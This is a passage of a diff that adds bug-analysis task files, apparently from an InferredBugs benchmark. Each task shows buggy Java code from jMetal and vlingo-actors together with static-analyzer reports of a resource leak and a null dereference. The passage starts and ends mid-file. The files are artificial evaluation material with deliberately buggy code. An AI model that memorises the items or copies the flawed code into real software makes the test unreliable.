+//		It cannot generate the shifted global optima and rotation matrices
+//		that are not provided with the Matlab reference code.
+//		It can handle all cases whose data files are provided with
+//		the Matlab reference code.
+// Version 0.91
+//		Revised according to the Matlab reference code and the PDF document
+//		dated March 8, 2005.
+//
+
+package org.uma.jmetal.problem.singleobjective.cec2005competitioncode;
+
+import org.uma.jmetal.util.JMetalException;
+import org.uma.jmetal.util.JMetalLogger;
+
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.text.DecimalFormat;
+import java.util.Random;
+import java.util.StringTokenizer;
+import java.util.logging.Level;
+
+public class Benchmark {
+
+  // Fixed (class) parameters
+  static final public int NUM_TEST_FUNC = 25;
+  static final public String DEFAULT_FILE_BIAS =
+    JMetalLogger.cec2005SupportDataDirectory + "/fbias_data.txt";
+  static final public String[] test_func_class_names = {
+    "F01_shifted_sphere",
+    "F02_shifted_schwefel",
+    "F03_shifted_rotated_high_cond_elliptic",
+    "F04_shifted_schwefel_noise",
+    "F05_schwefel_global_opt_bound",
+    "F06_shifted_rosenbrock",
+    "F07_shifted_rotated_griewank",
+    "F08_shifted_rotated_ackley_global_opt_bound",
+    "F09_shifted_rastrigin",
+    "F10_shifted_rotated_rastrigin",
+    "F11_shifted_rotated_weierstrass",
+    "F12_schwefel",
+    "F13_shifted_expanded_griewank_rosenbrock",
+    "F14_shifted_rotated_expanded_scaffer",
+    "F15_hybrid_composition_1",
+    "F16_rotated_hybrid_composition_1",
+    "F17_rotated_hybrid_composition_1_noise",
+    "F18_rotated_hybrid_composition_2",
+    "F19_rotated_hybrid_composition_2_narrow_basin_global_opt",
+    "F20_rotated_hybrid_composition_2_global_opt_bound",
+    "F21_rotated_hybrid_composition_3",
+    "F22_rotated_hybrid_composition_3_high_cond_num_matrix",
+    "F23_noncontinuous_rotated_hybrid_composition_3",
+    "F24_rotated_hybrid_composition_4",
+    "F25_rotated_hybrid_composition_4_bound"
+  };
+
+  // For certain functions, some essential data can be calculated beforehand.
+  // Hence, a maximum supported number of dimensions should be specified.
+  // Specifiy the number of dimensions here if you need more.
+  static final public int MAX_SUPPORT_DIM = 100;
+  static final public double PIx2 = Math.PI * 2.0;
+
+  // Formatter for the number representation
+  static final public DecimalFormat scientificFormatter =
+    new DecimalFormat("0.0000000000000000E00");
+  static final public DecimalFormat numberFormatter = scientificFormatter;
+  static final public DecimalFormat percentageFormatter = new DecimalFormat("0.0000000000");
+
+  // Random number generator
+  // If you want to plan a specific seed, do it here.
+  static final public Random random = new Random();
+
+  // Class loader & reflection
+  static final public ClassLoader loader = ClassLoader.getSystemClassLoader();
+  static final Class[] test_func_arg_types = {int.class, double.class};
+
+  // Class variables
+  static private double[] m_iSqrt;
+
+  // Instance variables
+  private double[] m_biases;
+
+  // Constructors
+  //	Load the data common to all org.uma.test functions.
+  //	Get ready for creating org.uma.test function instances.
+  public Benchmark() throws JMetalException {
+    this(DEFAULT_FILE_BIAS);
+  }
+
+  public Benchmark(String file_bias) throws JMetalException {
+    m_biases = new double[NUM_TEST_FUNC];
+    m_iSqrt = new double[MAX_SUPPORT_DIM];
+
+    loadRowVectorFromFile(file_bias, NUM_TEST_FUNC, m_biases);
+
+    for (int i = 0; i < MAX_SUPPORT_DIM; i++) {
+      m_iSqrt[i] = Math.sqrt(((double) i) + 1.0);
+    }
+  }
+
+  // Entry point
+  //	If the Benchmark class is executed as a stand-alone application,
+  //	its job is to run the org.uma.test on all the org.uma.test functions.
+  static public void main(String args[]) throws JMetalException {
+    Benchmark theBenchmark = new Benchmark();
+    theBenchmark.runTest(0);
+  }
+
+  // Sphere function
+  static public double sphere(double[] x) {
+
+    double sum = 0.0;
+
+    for (int i = 0; i < x.length; i++) {
+      sum += x[i] * x[i];
+    }
+
+    return (sum);
+  }
+
+  // Sphere function with noise
+  static public double sphere_noise(double[] x) {
+
+    double sum = 0.0;
+
+    for (int i = 0; i < x.length; i++) {
+      sum += x[i] * x[i];
+    }
+
+    // NOISE
+    // Comment the next line to remove the noise
+    sum *= (1.0 + 0.1 * Math.abs(random.nextGaussian()));
+
+    return (sum);
+  }
+
+  // Schwefel's problem 1.2
+  static public double schwefel_102(double[] x) {
+
+    double prev_sum, curr_sum, outer_sum;
+
+    curr_sum = x[0];
+    outer_sum = (curr_sum * curr_sum);
+
+    for (int i = 1; i < x.length; i++) {
+      prev_sum = curr_sum;
+      curr_sum = prev_sum + x[i];
+      outer_sum += (curr_sum * curr_sum);
+    }
+
+    return (outer_sum);
+  }
+
+  //
+  // Basic functions
+  //
+
+  // Rosenbrock's function
+  static public double rosenbrock(double[] x) {
+
+    double sum = 0.0;
+
+    for (int i = 0; i < (x.length - 1); i++) {
+      double temp1 = (x[i] * x[i]) - x[i + 1];
+      double temp2 = x[i] - 1.0;
+      sum += (100.0 * temp1 * temp1) + (temp2 * temp2);
+    }
+
+    return (sum);
+  }
+
+  // F2: Rosenbrock's Function -- 2D version
+  static public double F2(double x, double y) {
+    double temp1 = (x * x) - y;
+    double temp2 = x - 1.0;
+    return ((100.0 * temp1 * temp1) + (temp2 * temp2));
+  }
+
+  // Griewank's function
+  static public double griewank(double[] x) {
+
+    double sum = 0.0;
+    double product = 1.0;
+
+    for (int i = 0; i < x.length; i++) {
+      sum += ((x[i] * x[i]) / 4000.0);
+      product *= Math.cos(x[i] / m_iSqrt[i]);
+    }
+
+    return (sum - product + 1.0);
+  }
+
+  // F8: Griewank's Function -- 1D version
+  static public double F8(double x) {
+    return (((x * x) / 4000.0) - Math.cos(x) + 1.0);
+  }
+
+  // Ackley's function
+  static public double ackley(double[] x) {
+
+    double sum1 = 0.0;
+    double sum2 = 0.0;
+
+    for (int i = 0; i < x.length; i++) {
+      sum1 += (x[i] * x[i]);
+      sum2 += (Math.cos(PIx2 * x[i]));
+    }
+
+    return (-20.0 * Math.exp(-0.2 * Math.sqrt(sum1 / ((double) x.length))) - Math
+      .exp(sum2 / ((double) x.length)) + 20.0 + Math.E);
+  }
+
+  // Round function
+  // 0. Use the Matlab version for rounding numbers
+  static public double myRound(double x) {
+    return (Math.signum(x) * Math.round(Math.abs(x)));
+  }
+
+  // 1. "o" is provided
+  static public double myXRound(double x, double o) {
+    return ((Math.abs(x - o) < 0.5) ? x : (myRound(2.0 * x) / 2.0));
+  }
+
+  // 2. "o" is not provided
+  static public double myXRound(double x) {
+    return ((Math.abs(x) < 0.5) ? x : (myRound(2.0 * x) / 2.0));
+  }
+
+  // Rastrigin's function
+  static public double rastrigin(double[] x) {
+
+    double sum = 0.0;
+
+    for (int i = 0; i < x.length; i++) {
+      sum += (x[i] * x[i]) - (10.0 * Math.cos(PIx2 * x[i])) + 10.0;
+    }
+
+    return (sum);
+  }
+
+  // Non-Continuous Rastrigin's function
+  static public double rastriginNonCont(double[] x) {
+
+    double sum = 0.0;
+    double currX;
+
+    for (int i = 0; i < x.length; i++) {
+      currX = myXRound(x[i]);
+      sum += (currX * currX) - (10.0 * Math.cos(PIx2 * currX)) + 10.0;
+    }
+
+    return (sum);
+  }
+
+  // Weierstrass function
+  static public double weierstrass(double[] x) {
+    return (weierstrass(x, 0.5, 3.0, 20));
+  }
+
+  static public double weierstrass(double[] x, double a, double b, int Kmax) {
+
+    double sum1 = 0.0;
+    for (int i = 0; i < x.length; i++) {
+      for (int k = 0; k <= Kmax; k++) {
+        sum1 += Math.pow(a, k) * Math.cos(PIx2 * Math.pow(b, k) * (x[i] + 0.5));
+      }
+    }
+
+    double sum2 = 0.0;
+    for (int k = 0; k <= Kmax; k++) {
+      sum2 += Math.pow(a, k) * Math.cos(PIx2 * Math.pow(b, k) * (0.5));
+    }
+
+    return (sum1 - sum2 * ((double) (x.length)));
+  }
+
+  // F8F2
+  static public double F8F2(double[] x) {
+
+    double sum = 0.0;
+
+    for (int i = 1; i < x.length; i++) {
+      sum += F8(F2(x[i - 1], x[i]));
+    }
+    sum += F8(F2(x[x.length - 1], x[0]));
+
+    return (sum);
+  }
+
+  // Scaffer's F6 function
+  static public double ScafferF6(double x, double y) {
+    double temp1 = x * x + y * y;
+    double temp2 = Math.sin(Math.sqrt(temp1));
+    double temp3 = 1.0 + 0.001 * temp1;
+    return (0.5 + ((temp2 * temp2 - 0.5) / (temp3 * temp3)));
+  }
+
+  // Expanded Scaffer's F6 function
+  static public double EScafferF6(double[] x) {
+
+    double sum = 0.0;
+
+    for (int i = 1; i < x.length; i++) {
+      sum += ScafferF6(x[i - 1], x[i]);
+    }
+    sum += ScafferF6(x[x.length - 1], x[0]);
+
+    return (sum);
+  }
+
+  // Non-Continuous Expanded Scaffer's F6 function
+  static public double EScafferF6NonCont(double[] x) {
+
+    double sum = 0.0;
+    double prevX, currX;
+
+    currX = myXRound(x[0]);
+    for (int i = 1; i < x.length; i++) {
+      prevX = currX;
+      currX = myXRound(x[i]);
+      sum += ScafferF6(prevX, currX);
+    }
+    prevX = currX;
+    currX = myXRound(x[0]);
+    sum += ScafferF6(prevX, currX);
+
+    return (sum);
+  }
+
+  // Elliptic
+  static public double elliptic(double[] x) {
+
+    double sum = 0.0;
+    double a = 1e6;
+
+    for (int i = 0; i < x.length; i++) {
+      sum += Math.pow(a, (((double) i) / ((double) (x.length - 1)))) * x[i] * x[i];
+    }
+
+    return (sum);
+  }
+
+  // Hybrid composition
+  static public double hybrid_composition(double[] x, HCJob job) throws JMetalException {
+
+    int num_func = job.num_func;
+    int num_dim = job.num_dim;
+
+    // Get the raw weights
+    double wMax = Double.NEGATIVE_INFINITY;
+    for (int i = 0; i < num_func; i++) {
+      double sumSqr = 0.0;
+      shift(job.z[i], x, job.o[i]);
+      for (int j = 0; j < num_dim; j++) {
+        sumSqr += (job.z[i][j] * job.z[i][j]);
+      }
+      job.w[i] = Math.exp(-1.0 * sumSqr / (2.0 * num_dim * job.sigma[i] * job.sigma[i]));
+      if (wMax < job.w[i]) {
+        wMax = job.w[i];
+      }
+    }
+
+    // Modify the weights
+    double wSum = 0.0;
+    double w1mMaxPow = 1.0 - Math.pow(wMax, 10.0);
+    for (int i = 0; i < num_func; i++) {
+      if (job.w[i] != wMax) {
+        job.w[i] *= w1mMaxPow;
+      }
+      wSum += job.w[i];
+    }
+
+    // Normalize the weights
+    for (int i = 0; i < num_func; i++) {
+      job.w[i] /= wSum;
+    }
+
+    double sumF = 0.0;
+    for (int i = 0; i < num_func; i++) {
+      for (int j = 0; j < num_dim; j++) {
+        job.z[i][j] /= job.lambda[i];
+      }
+      rotate(job.zM[i], job.z[i], job.M[i]);
+      sumF +=
+        job.w[i] *
+          (
+            job.C * job.basic_func(i, job.zM[i]) / job.fmax[i] +
+              job.biases[i]
+          );
+    }
+    return (sumF);
+  }
+
+  // Shift
+  static public void shift(double[] results, double[] x, double[] o) {
+    for (int i = 0; i < x.length; i++) {
+      results[i] = x[i] - o[i];
+    }
+  }
+
+  // Rotate
+  static public void rotate(double[] results, double[] x, double[][] matrix) {
+    xA(results, x, matrix);
+  }
+
+  // (1xD) row vector * (Dx1) column vector = (1) scalar
+  static public double xy(double[] x, double[] y) {
+    double result = 0.0;
+    for (int i = 0; i < x.length; i++) {
+      result += (x[i] * y[i]);
+    }
+
+    return (result);
+  }
+
+  //
+  // Elementary operations
+  //
+
+  // (1xD) row vector * (DxD) matrix = (1xD) row vector
+  static public void xA(double[] result, double[] x, double[][] A) {
+    for (int i = 0; i < result.length; i++) {
+      result[i] = 0.0;
+      for (int j = 0; j < result.length; j++) {
+        result[i] += (x[j] * A[j][i]);
+      }
+    }
+  }
+
+  // (DxD) matrix * (Dx1) column vector = (Dx1) column vector
+  static public void Ax(double[] result, double[][] A, double[] x) {
+    for (int i = 0; i < result.length; i++) {
+      result[i] = 0.0;
+      for (int j = 0; j < result.length; j++) {
+        result[i] += (A[i][j] * x[j]);
+      }
+    }
+  }
+
+  //
+  // Matrix & vector operations
+  //
+
+  //
+  // Utility functions for loading data from the given text file
+  //
+  static public void loadTestDataFromFile(String file, int num_test_points, int test_dimension,
+    double[][] x, double[] f) throws JMetalException {
+    try {
+      JMetalLogger.logger.info("File bias: " + file);
+
+      BufferedReader brSrc = new BufferedReader(new FileReader(file));
+      loadMatrix(brSrc, num_test_points, test_dimension, x);
+      loadColumnVector(brSrc, num_test_points, f);
+      brSrc.close();
+    } catch (Exception e) {
+      JMetalLogger.logger.log(Level.SEVERE, "Error in Benchmark.java", e);
+      throw new JMetalException("Error in Benchmark.java");
+    }
+  }
+
+  static public void loadRowVectorFromFile(String file, int columns, double[] row)
+    throws JMetalException {
+    try {
+      BufferedReader brSrc = new BufferedReader(new FileReader(file));
+      loadRowVector(brSrc, columns, row);
+      brSrc.close();
+    } catch (Exception e) {
+      JMetalLogger.logger.log(Level.SEVERE, "Error in Benchmark.java", e);
+      throw new JMetalException("Error in Benchmark.java");
+    }
+  }
+
+  static public void loadRowVector(BufferedReader brSrc, int columns, double[] row)
+    throws Exception {
+    String stToken;
+    StringTokenizer stTokenizer = new StringTokenizer(brSrc.readLine());
+    for (int i = 0; i < columns; i++) {
+      stToken = stTokenizer.nextToken();
+      row[i] = Double.parseDouble(stToken);
+    }
+  }
+
+  static public void loadColumnVectorFromFile(String file, int rows, double[] column)
+    throws JMetalException {
+    try {
+      BufferedReader brSrc = new BufferedReader(new FileReader(file));
+      loadColumnVector(brSrc, rows, column);
+      brSrc.close();
+    } catch (Exception e) {
+      JMetalLogger.logger.log(Level.SEVERE, "Error in Benchmark.java", e);
+      throw new JMetalException("Error in Benchmark.java");
+    }
+  }
+
+  static public void loadColumnVector(BufferedReader brSrc, int rows, double[] column)
+    throws Exception {
+    String stToken;
+    for (int i = 0; i < rows; i++) {
+      StringTokenizer stTokenizer = new StringTokenizer(brSrc.readLine());
+      stToken = stTokenizer.nextToken();
+      column[i] = Double.parseDouble(stToken);
+    }
+  }
+
+  static public void loadNMatrixFromFile(String file, int N, int rows, int columns,
+    double[][][] matrix) throws JMetalException {
+    try {
+      BufferedReader brSrc = new BufferedReader(new FileReader(file));
+      for (int i = 0; i < N; i++) {
+        loadMatrix(brSrc, rows, columns, matrix[i]);
+      }
+      brSrc.close();
+    } catch (Exception e) {
+      JMetalLogger.logger.log(Level.SEVERE, "Error in Benchmark.java", e);
+      throw new JMetalException("Error in Benchmark.java");
+    }
+  }
+
+  static public void loadMatrixFromFile(String file, int rows, int columns, double[][] matrix)
+    throws JMetalException {
+    try {
+      BufferedReader brSrc = new BufferedReader(new FileReader(file));
+      loadMatrix(brSrc, rows, columns, matrix);
+      brSrc.close();
+    } catch (Exception e) {
+      JMetalLogger.logger.log(Level.SEVERE, "Error in Benchmark.java", e);
+      throw new JMetalException("Error in Benchmark.java");
+    }
+  }
+
+  static public void loadMatrix(BufferedReader brSrc, int rows, int columns, double[][] matrix)
+    throws Exception {
+    for (int i = 0; i < rows; i++) {
+      loadRowVector(brSrc, columns, matrix[i]);
+    }
+  }
+
+  //
+  // Use this function to manufacture new org.uma.test function objects
+  //
+  public TestFunc testFunctionFactory(int func_num, int dimension) throws JMetalException {
+    TestFunc returnFunc = null;
+    try {
+      returnFunc = (TestFunc)
+        loader.loadClass(JMetalLogger.cec2005Package + "." + test_func_class_names[func_num - 1])
+          .getConstructor(test_func_arg_types)
+          .newInstance(
+            new Object[] {
+              new Integer(dimension),
+              new Double(m_biases[func_num - 1])
+            }
+          );
+    } catch (Exception e) {
+      JMetalLogger.logger.log(Level.SEVERE, "Error in Benchmark.java", e);
+      throw new JMetalException("Error in Benchmark.java");
+    }
+    return (returnFunc);
+  }
+
+  // Run tests on the org.uma.test functions
+  //	< 0:	Error!
+  //	= 0:	On all the functions
+  //	> 0:	On the specified org.uma.test function
+  public void runTest() throws JMetalException {
+    runTest(0);
+  }
+
+  public void runTest(int func_num) throws JMetalException {
+    if (func_num == 0) {
+      for (int i = 1; i <= NUM_TEST_FUNC; i++) {
+        runTest(i);
+      }
+    } else if ((func_num < 0) || (func_num > NUM_TEST_FUNC)) {
+      throw new JMetalException("The specified func_num is out of range.");
+    } else {
+      // Run the org.uma.test function against the check points
+      int num_test_points = 10;
+      int test_dimension = 50;
+
+      double[] test_f = new double[num_test_points];
+      double[][] test_x = new double[num_test_points][test_dimension];
+
+      String file_test = "testData/test_data_func" + func_num + ".txt";
+
+      // Create the org.uma.test function object
+      TestFunc aFunc = testFunctionFactory(func_num, test_dimension);
+
+      JMetalLogger.logger.info("Run tests on function " + func_num +
+        " (" + aFunc.name() + "):");
+      JMetalLogger.logger.info("  " +
+        num_test_points + " " +
+        aFunc.dimension() + "-dimension check points");
+
+      loadTestDataFromFile(file_test, num_test_points, test_dimension, test_x, test_f);
+
+      for (int i = 0; i < num_test_points; i++) {
+        // Execute the org.uma.test function
+        // Collect and compare the results
+        double result = aFunc.f(test_x[i]);
+        double diff = result - test_f[i];
+        double ratio = Math.abs(diff / test_f[i]);
+        JMetalLogger.logger.info("    " +
+          numberFormatter.format(result) +
+          " - " +
+          numberFormatter.format(test_f[i]) +
+          " = " +
+          numberFormatter.format(diff));
+        JMetalLogger.logger.info("    " + "    " +
+          "Difference ratio = " + numberFormatter.format(ratio));
+        if (ratio != 0.0) {
+          if (ratio <= 1e-12) {
+            JMetalLogger.logger.info(" (<= 1E-12)");
+          } else {
+            JMetalLogger.logger.info(" (> 1E-12) *****");
+          }
+        } else {
+          JMetalLogger.logger.info("");
+        }
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileReader` acquired by call to `new()` at line 502 is not released after line 505.
+**Note**: potential exception at line 503
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Benchmark.loadRowVectorFromFile(String,int,double[])
+
+### Procedure Id:
+org.uma.jmetal.problem.singleobjective.cec2005competitioncode.Benchmark.loadRowVectorFromFile(java.l.83e55fb7722d22e9d61ff14de0d6c477
+
+### File:
+jmetal-core/src/main/java/org/uma/jmetal/problem/singleobjective/cec2005competitioncode/Benchmark.java
+
+### Key:
+Benchmark.java|loadRowVectorFromFile|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+98489b2c1a69e4f6525607e71a4474a2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9048/instruction.md b/inferredbugs-9048/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..925324ec122769bb3512f34d8d35d9dbbf316411
--- /dev/null
+++ b/inferredbugs-9048/instruction.md
@@ -0,0 +1,180 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jMetal
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+//  SMSEMOA_SettingsTest.java
+//
+//  Author:
+//       Antonio J. Nebro <antonio@lcc.uma.es>
+//
+//  Copyright (c) 2014 Antonio J. Nebro
+//
+//  This program is free software: you can redistribute it and/or modify
+//  it under the terms of the GNU Lesser General Public License as published by
+//  the Free Software Foundation, either version 3 of the License, or
+//  (at your option) any later version.
+//
+//  This program is distributed in the hope that it will be useful,
+//  but WITHOUT ANY WARRANTY; without even the implied warranty of
+//  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+//  GNU Lesser General Public License for more details.
+//
+//  You should have received a copy of the GNU Lesser General Public License
+//  along with this program.  If not, see <http://www.gnu.org/licenses/>
+
+package org.uma.test.experiment.settings;
+
+import org.uma.jmetal.core.Algorithm;
+import org.uma.jmetal.core.Problem;
+import org.uma.jmetal.experiment.Settings;
+import org.uma.jmetal.experiment.settings.SMSEMOASettings;
+import org.uma.jmetal.operator.crossover.SBXCrossover;
+import org.uma.jmetal.operator.mutation.PolynomialMutation;
+import org.uma.jmetal.problem.Fonseca;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.Properties;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: antelverde
+ * Date: 27/06/13
+ * Time: 23:08
+ * To change this template use File | Settings | File Templates.
+ */
+public class SMSEMOASettingsTest {
+  Properties configuration_ ;
+
+  @Before
+  public void init() throws FileNotFoundException, IOException {
+    configuration_ = new Properties();
+    InputStreamReader isr = new InputStreamReader(new FileInputStream(ClassLoader.getSystemResource("SMSEMOA.conf").getPath()));
+    configuration_.load(isr);
+  }
+
+  @Test
+  public void testConfigure() throws Exception {
+    double epsilon = 0.000000000000001 ;
+    Settings smsemoaSettings = new SMSEMOASettings("Fonseca");
+    Algorithm algorithm = smsemoaSettings.configure() ;
+    Problem problem = new Fonseca("Real") ;
+    SBXCrossover crossover = (SBXCrossover)algorithm.getOperator("crossover") ;
+    double pc = (Double)crossover.getParameter("probability") ;
+    double dic = (Double)crossover.getParameter("distributionIndex") ;
+    PolynomialMutation mutation = (PolynomialMutation)algorithm.getOperator("mutation") ;
+    double pm = (Double)mutation.getParameter("probability") ;
+    double dim = (Double)mutation.getParameter("distributionIndex") ;
+
+    assertEquals("SMSEMOA_SettingsTest", 100, ((Integer)algorithm.getInputParameter("populationSize")).intValue());
+    assertEquals("SMSEMOA_SettingsTest", 25000, ((Integer)algorithm.getInputParameter("maxEvaluations")).intValue());
+
+    assertEquals("SMSEMOA_SettingsTest", 0.9, pc, epsilon);
+    assertEquals("SMSEMOA_SettingsTest", 20.0, dic, epsilon);
+
+    assertEquals("SMSEMOA_SettingsTest", 1.0/problem.getNumberOfVariables(), pm, epsilon);
+    assertEquals("SMSEMOA_SettingsTest", 20.0, dim, epsilon);
+    assertEquals("SMSEMOA_SettingsTest", 100.0, ((Double)algorithm.getInputParameter("offset")).doubleValue(), epsilon);
+  }
+
+  @Test
+  public void testConfigure2() throws Exception {
+    double epsilon = 0.000000000000001 ;
+    Settings smsemoaSettings = new SMSEMOASettings("Fonseca");
+    Algorithm algorithm = smsemoaSettings.configure(configuration_) ;
+    Problem problem = new Fonseca("Real") ;
+    SBXCrossover crossover = (SBXCrossover)algorithm.getOperator("crossover") ;
+    double pc = (Double)crossover.getParameter("probability") ;
+    double dic = (Double)crossover.getParameter("distributionIndex") ;
+    PolynomialMutation mutation = (PolynomialMutation)algorithm.getOperator("mutation") ;
+    double pm = (Double)mutation.getParameter("probability") ;
+    double dim = (Double)mutation.getParameter("distributionIndex") ;
+
+    assertEquals("SMSEMOA_SettingsTest", 100, ((Integer)algorithm.getInputParameter("populationSize")).intValue());
+    assertEquals("SMSEMOA_SettingsTest", 25000, ((Integer)algorithm.getInputParameter("maxEvaluations")).intValue());
+
+    assertEquals("SMSEMOA_SettingsTest", 0.9, pc, epsilon);
+    assertEquals("SMSEMOA_SettingsTest", 20.0, dic, epsilon);
+
+    assertEquals("SMSEMOA_SettingsTest", 1.0/problem.getNumberOfVariables(), pm, epsilon);
+    assertEquals("SMSEMOA_SettingsTest", 20.0, dim, epsilon);
+    assertEquals("SMSEMOA_SettingsTest", 100.0, ((Double)algorithm.getInputParameter("offset")).doubleValue(), epsilon);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `algorithm.operators_` last assigned on line 87 could be null and is dereferenced by call to `getOperator(...)` at line 89.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SMSEMOASettingsTest.testConfigure2()
+
+### Procedure Id:
+org.uma.test.experiment.settings.SMSEMOASettingsTest.testConfigure2():void.9f8c0c96d3ad1c5ae0383ed2a1cb5bdf
+
+### File:
+jmetal-core/src/test/java/org/uma/test/experiment/settings/SMSEMOASettingsTest.java
+
+### Key:
+SMSEMOASettingsTest.java|testConfigure2|NULL_DEREFERENCE
+
+### Node Key:
+ecb005b3b398757c0871c208dae4f8e6
+
+### Hash:
+f9e7c55d512bb0bcdcaffab5476bbc65
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9070/instruction.md b/inferredbugs-9070/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a106e3dd3236c4dd4f21b89976c52ad8e8c26f8a
--- /dev/null
+++ b/inferredbugs-9070/instruction.md
@@ -0,0 +1,205 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** vlingo-actors
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// Copyright © 2012-2018 Vaughn Vernon. All rights reserved.
+//
+// This Source Code Form is subject to the terms of the
+// Mozilla Public License, v. 2.0. If a copy of the MPL
+// was not distributed with this file, You can obtain
+// one at https://mozilla.org/MPL/2.0/.
+
+package io.vlingo.actors;
+
+import java.lang.reflect.Constructor;
+import static io.vlingo.common.compiler.DynaNaming.fullyQualifiedClassnameFor;
+
+import io.vlingo.actors.ProxyGenerator.Result;
+import io.vlingo.common.compiler.DynaClassLoader;
+import io.vlingo.common.compiler.DynaCompiler;
+import io.vlingo.common.compiler.DynaCompiler.Input;
+
+public final class ActorProxy {
+  private static final DynaCompiler proxyCompiler = new DynaCompiler();
+  
+  public static <T> T createFor(final Class<T> protocol, final Actor actor, final Mailbox mailbox) {
+    final T maybeCachedProxy = actor.lifeCycle.environment.lookUpProxy(protocol);
+
+    if (maybeCachedProxy != null) {
+      return maybeCachedProxy;
+    }
+
+    final String proxyClassname = fullyQualifiedClassnameFor(protocol, "__Proxy");
+
+    final T maybeProxy = tryProxyFor(proxyClassname, actor, mailbox);
+
+    if (maybeProxy != null) {
+      actor.lifeCycle.environment.cacheProxy(maybeProxy);
+      return maybeProxy;
+    }
+
+    synchronized (protocol) {
+      T newProxy;
+      
+      try {
+        newProxy = tryCreate(protocol, actor, mailbox, proxyClassname);
+      } catch (Exception e) {
+        newProxy = tryGenerateCreate(protocol, actor, mailbox, proxyClassname);
+      }
+      
+      actor.lifeCycle.environment.cacheProxy(newProxy);
+      
+      return newProxy;
+    }
+  }
+
+  private static DynaClassLoader classLoaderFor(final Actor actor) {
+    DynaClassLoader classLoader = actor.lifeCycle.environment.stage.world().classLoader();
+    if (classLoader == null) {
+      classLoader = new DynaClassLoader(ActorProxy.class.getClassLoader());
+      actor.stage().world().classLoader(classLoader);
+    }
+    return classLoader;
+  }
+
+  private static Class<?> loadProxyClassFor(
+          final String targetClassname,
+          final Actor actor)
+  throws ClassNotFoundException {
+    final Class<?> proxyClass = Class.forName(targetClassname, true, classLoaderFor(actor));
+    return proxyClass;
+  }
+
+  @SuppressWarnings("unchecked")
+  private static <T> T tryCreate(
+          final Class<T> protocol,
+          final Actor actor,
+          final Mailbox mailbox,
+          final String targetClassname)
+  throws Exception {
+    final Class<?> proxyClass = loadProxyClassFor(targetClassname, actor);
+    return (T) tryCreateWithProxyClass(proxyClass, actor, mailbox);
+  }
+
+  @SuppressWarnings("unchecked")
+  private static <T> T tryProxyFor(final String targetClassname, final Actor actor, final Mailbox mailbox) {
+    try {
+      final Class<T> maybeProxyClass = (Class<T>) loadProxyClassFor(targetClassname, actor);
+      if (maybeProxyClass != null) {
+        return tryCreateWithProxyClass(maybeProxyClass, actor, mailbox);
+      }
+    } catch (Exception e) {
+      // fall through
+    }
+    return null;
+  }
+
+  @SuppressWarnings("unchecked")
+  private static <T> T tryCreateWithProxyClass(final Class<T> proxyClass, final Actor actor, final Mailbox mailbox) throws Exception {
+    Constructor<?> ctor = proxyClass.getConstructor(new Class<?>[] {Actor.class, Mailbox.class});
+    return (T) ctor.newInstance(actor, mailbox);
+  }
+
+  private static <T> T tryGenerateCreate(
+          final Class<T> protocol,
+          final Actor actor,
+          final Mailbox mailbox,
+          final String targetClassname) {
+    try (final ProxyGenerator generator = ProxyGenerator.forMain(true, actor.logger())) {
+      return tryGenerateCreate(protocol, actor, mailbox, generator, targetClassname);
+    } catch (Exception emain) {
+      try (final ProxyGenerator generator = ProxyGenerator.forTest(true, actor.logger())) {
+        return tryGenerateCreate(protocol, actor, mailbox, generator, targetClassname);
+      } catch (Exception etest) {
+        throw new IllegalArgumentException("Actor proxy " + protocol.getName() + " not created for main or test: " + etest.getMessage(), etest);
+      }
+    }
+  }
+
+  private static <T> T tryGenerateCreate(
+          final Class<T> protocol,
+          final Actor actor,
+          final Mailbox mailbox,
+          final ProxyGenerator generator,
+          final String targetClassname) {
+    try {
+      final Result result = generator.generateFor(protocol.getName());
+      final Input input = new Input(protocol, targetClassname, result.source, result.sourceFile, classLoaderFor(actor), generator.type(), true);
